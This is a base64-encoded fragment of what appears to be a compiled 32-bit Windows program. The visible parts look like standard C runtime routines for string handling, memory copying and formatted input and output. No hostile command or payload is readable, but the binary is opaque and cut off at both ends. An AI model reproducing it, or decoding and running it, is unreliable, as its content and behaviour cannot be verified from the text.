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
